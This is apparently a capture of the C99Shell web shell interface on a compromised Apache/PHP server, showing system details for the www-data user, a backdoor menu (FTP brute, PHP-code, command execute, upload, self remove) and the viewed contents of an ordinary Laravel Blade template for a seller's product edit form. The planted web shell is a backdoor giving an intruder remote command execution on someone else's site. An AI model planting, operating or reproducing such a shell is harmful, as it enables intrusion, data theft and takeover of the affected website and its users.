!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/resources/views/seller/products/edit/   drwxr-xr-x
Free 13.26 GB of 57.97 GB (22.87%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     item.blade.php (5.8 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
@extends('layouts.app')
@push('style')
<link href="{{ asset('assets/css/select2.min.css') }}" rel="stylesheet" />
@endpush
@section('head')
@include('layouts.partials.headersection',['title'=>'Edit Product'])
@endsection
@section('content')


<div class="row">
    <div class="col-lg-12">      
        <form method="post" action="{{ route('seller.product.update',$info->id) }}" id="productform">
            @csrf
            @method('PUT')
            <div class="card">
                <div class="card-body">
                    @if (session()->has('flash_notification.message'))
                    <div class="alert alert-{{ session()->get('flash_notification.level') }}">
                        <button type="button" class="close text-white" data-dismiss="alert" aria-hidden="true">×</button>
                        {!! session()->get('flash_notification.message') !!}
                    </div>
                    @endif 
                    <div class="row">
                        <div class="col-sm-3">
                            <ul class="nav nav-pills flex-column">
                                <li class="nav-item">
                                    <a class="nav-link active" href="{{ route('seller.product.edit',$info->id) }}"><i class="fas fa-cogs"></i> {{ __('Item') }}</a>
                                </li>
                                <li class="nav-item">
                                    <a class="nav-link" href="{{ url('seller/product/'.$info->id.'/price') }}"><i class="fas fa-money-bill-alt"></i> {{ __('Price') }}</a>
                                </li>
                                <li class="nav-item">
                                    <a class="nav-link " href="{{ url('seller/product/'.$info->id.'/option') }}"><i class="fas fa-tags"></i> {{ __('Options') }}</a>
                                </li>
                                <li class="nav-item">
                                    <a class="nav-link" href="{{ url('seller/product/'.$info->id.'/varient') }}"><i class="fas fa-expand-arrows-alt"></i> {{ __('Variants') }}</a>
                                </li>
                                
                                <li class="nav-item">
                                    <a class="nav-link" href="{{ url('seller/product/'.$info->id.'/image') }}"><i class="far fa-images"></i> {{ __('Images') }}</a>
                                </li>
                                <li class="nav-item">
                                    <a class="nav-link" href="{{ url('seller/product/'.$info->id.'/inventory') }}"><i class="fa fa-cubes"></i> {{ __('Inventory') }}</a>
                                </li>

                                <li class="nav-item">
                                    <a class="nav-link" href="{{ url('seller/product/'.$info->id.'/files') }}"><i class="fas fa-file"></i> {{ __('Files') }}</a>
                                </li>

                                <li class="nav-item">
                                    <a class="nav-link" href="{{ url('seller/product/'.$info->id.'/seo') }}"><i class="fas fa-chart-line"></i> {{ __('SEO') }}</a>
                                </li>
                                <li class="nav-item">
                                    <a class="nav-link" href="{{ url('seller/product/'.$info->id.'/express-checkout') }}"><i class="fas fa-cart-arrow-down"></i> {{ __('Express checkout') }}</a>
                                </li>
                            </ul>
                        </div>
                        <div class="col-sm-9">
                            <div class="form-group">
                                <label>{{ __('Product Name') }}</label>
                                <input type="text" name="title" class="form-control" required="" value="{{ $info->title }}">
                            </div>
                            <div class="form-group">
                                <label>{{ __('Slug') }}</label>
                                <input type="text" name="slug" class="form-control" required="" value="{{ $info->slug }}">
                            </div>

                            <div class="form-group">
                                <label>{{ __('Short Description') }}</label>
                                <textarea class="form-control" name="excerpt">{{ $content->excerpt ?? '' }}</textarea>
                            </div>
                            {{ editor(array('title'=>'Product Content','name'=>'content','class'=>'content','value'=> $content->content ?? '')) }}

                            <div class="form-group">
                                <label>{{ __('Brand') }}</label>
                                <select  class="form-control" name="brand">
                                    <option value="">None</option>
                                    {{ ConfigCategoryMulti('brand',$cats) }}
                                </select>
                            </div>

                            <div class="form-group">
                                <label>{{ __('Category') }}</label>
                                <select multiple class="form-control select2" name="cats[]">
                                    <option value="">None</option>
                                    {{ ConfigCategoryMulti('category',$cats) }}
                                </select>
                            </div>
                            <div class="form-group">
                                <label>{{ __('Featured') }}</label>
                                <select class="form-control" name="featured">
                                    <option value="0" @if($info->featured==0) selected="" @endif>{{ __('None') }}</option>
                                    <option value="1" @if($info->featured==1) selected="" @endif>{{ __('Trending products') }}</option>
                                    <option value="2" @if($info->featured==2) selected="" @endif>{{ __('Best selling products') }}</option>
                                    
                                </select>
                            </div>
                            
                            <div class="form-group">

                                <label>
                                    <input type="checkbox" @if(!empty($info->affiliate)) checked @endif name="affiliate" id="affiliate"  class="custom-switch-input sm" value="1">
                                    <span class="custom-switch-indicator"></span>
                                    {{ __('External Product') }}
                                </label>

                            </div>
                            <div class="form-group order_link  @if(empty($info->affiliate)) none @endif" >
                                <label>{{ __('Order Link') }}</label>
                                <input type="text"  class="form-control" id="purchase_link" value="{{ $info->affiliate->value ?? '' }}"  name="purchase_link" >
                            </div>
                            


                            <div class="form-group">

                                <label>
                                    <input type="checkbox" name="status" @if($info->status==1) checked="" @endif class="custom-switch-input sm" value="1">
                                    <span class="custom-switch-indicator"></span>
                                    {{ __('Published') }}
                                </label>

                            </div>
                            <div class="form-group">
                                <button class="btn btn-primary basicbtn" type="submit">{{ __('Save Changes') }}</button>
                            </div>        
                        </div>
                    </div>
                </div>
            </div>
        </div>

    </div>

</div>
</form>

@endsection
@push('js')
<script src="{{ asset('assets/js/select2.min.js') }}"></script>
<script src="{{ asset('assets/js/ckeditor/ckeditor.js') }}"></script>
<script src="{{ asset('assets/js/form.js?v=1.0') }}"></script>
<script type="text/javascript">
    $('#affiliate').on('change',function(){
        if(this.checked) {
          $('.order_link').show();
        }
        else{
            $('.order_link').hide();
        }
        
    });
</script>
@endpush

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0046 ]--